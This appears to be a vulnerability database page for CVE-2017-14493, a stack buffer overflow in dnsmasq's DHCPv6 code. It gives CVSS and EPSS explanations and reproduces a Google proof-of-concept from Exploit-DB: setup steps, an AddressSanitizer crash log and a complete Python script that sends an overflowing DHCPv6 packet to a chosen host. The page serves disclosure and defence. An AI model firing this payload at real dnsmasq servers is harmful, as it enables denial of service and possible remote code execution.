CVE-2017-14493 Detail

CVE-2017-14493

Score / Severity

9.8

Critical

CVE Descriptions

Stack-based buffer overflow in dnsmasq before 2.78 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a crafted DHCPv6 request.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	9.8	CRITICAL	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 42943

Publication date : 2017-10-01 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

''' Sources: https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14493.py https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html 1) Build the docker and open two terminals docker build -t dnsmasq . docker run --rm -t -i --name dnsmasq_test dnsmasq bash docker cp poc.py dnsmasq_test:/poc.py docker exec -it <container_id> bash 2) On one terminal start dnsmasq: # /test/dnsmasq_noasn/src/dnsmasq --no-daemon --dhcp-range=fd00::2,fd00::ff dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify dnsmasq-dhcp: DHCPv6, IP range fd00::2 -- fd00::ff, lease time 1h dnsmasq: reading /etc/resolv.conf dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: using nameserver 8.8.4.4#53 dnsmasq: read /etc/hosts - 7 addresses 3) On another terminal start the PoC: # python /poc.py ::1 547 [+] sending 70 bytes to ::1:547 4) Dnsmasq will output the following: Segmentation fault (core dumped) ==33==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcbef81470 at pc 0x0000004b5408 bp 0x7ffcbef81290 sp 0x7ffcbef80a40 WRITE of size 30 at 0x7ffcbef81470 thread T0 #0 0x4b5407 in __asan_memcpy (/test/dnsmasq/src/dnsmasq+0x4b5407) #1 0x575d38 in dhcp6_maybe_relay /test/dnsmasq/src/rfc3315.c:211:7 #2 0x575378 in dhcp6_reply /test/dnsmasq/src/rfc3315.c:103:7 #3 0x571080 in dhcp6_packet /test/dnsmasq/src/dhcp6.c:233:14 #4 0x544a82 in main /test/dnsmasq/src/dnsmasq.c:1061:2 #5 0x7f93e5da62b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #6 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9) Address 0x7ffcbef81470 is located in stack of thread T0 at offset 208 in frame #0 0x57507f in dhcp6_reply /test/dnsmasq/src/rfc3315.c:78 This frame has 1 object(s): [32, 208) 'state' <== Memory access at offset 208 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/test/dnsmasq/src/dnsmasq+0x4b5407) in __asan_memcpy Shadow bytes around the buggy address: 0x100017de8230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100017de8240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100017de8250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100017de8260: f1 f1 f1 f1 00 00 f3 f3 00 00 00 00 00 00 00 00 0x100017de8270: 00 00 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00 =>0x100017de8280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[f3]f3 0x100017de8290: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 0x100017de82a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100017de82b0: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 0x100017de82c0: 00 00 00 00 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 0x100017de82d0: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==33==ABORTING ''' #!/usr/bin/python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <[email protected]> # Felix Wilhelm <[email protected]> # Gabriel Campana <[email protected]> # Kevin Hamacher <[email protected]> # Gynvael Coldwind <[email protected]> # Ron Bowes - Xoogler :/ from struct import pack import sys import socket def send_packet(data, host, port): print("[+] sending {} bytes to {}:{}".format(len(data), host, port)) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDP) s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data)) if s.sendto(data, (host, port)) != len(data): print("[!] Could not send (full) payload") s.close() def u8(x): return pack("B", x) def u16(x): return pack("!H", x) def gen_option(option, data, length=None): if length is None: length = len(data) return b"".join([ u16(option), u16(length), data ]) if __name__ == '__main__': assert len(sys.argv) == 3, "{} <ip> <port>".format(sys.argv[0]) pkg = b"".join([ u8(12), # DHCP6RELAYFORW u16(0x0313), u8(0x37), # transaction ID b"_" * (34 - 4), # Option 79 = OPTION6_CLIENT_MAC # Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16 gen_option(79, "A" * 74 + pack("<Q", 0x1337DEADBEEF)), ]) host, port = sys.argv[1:] send_packet(pkg, host, int(port))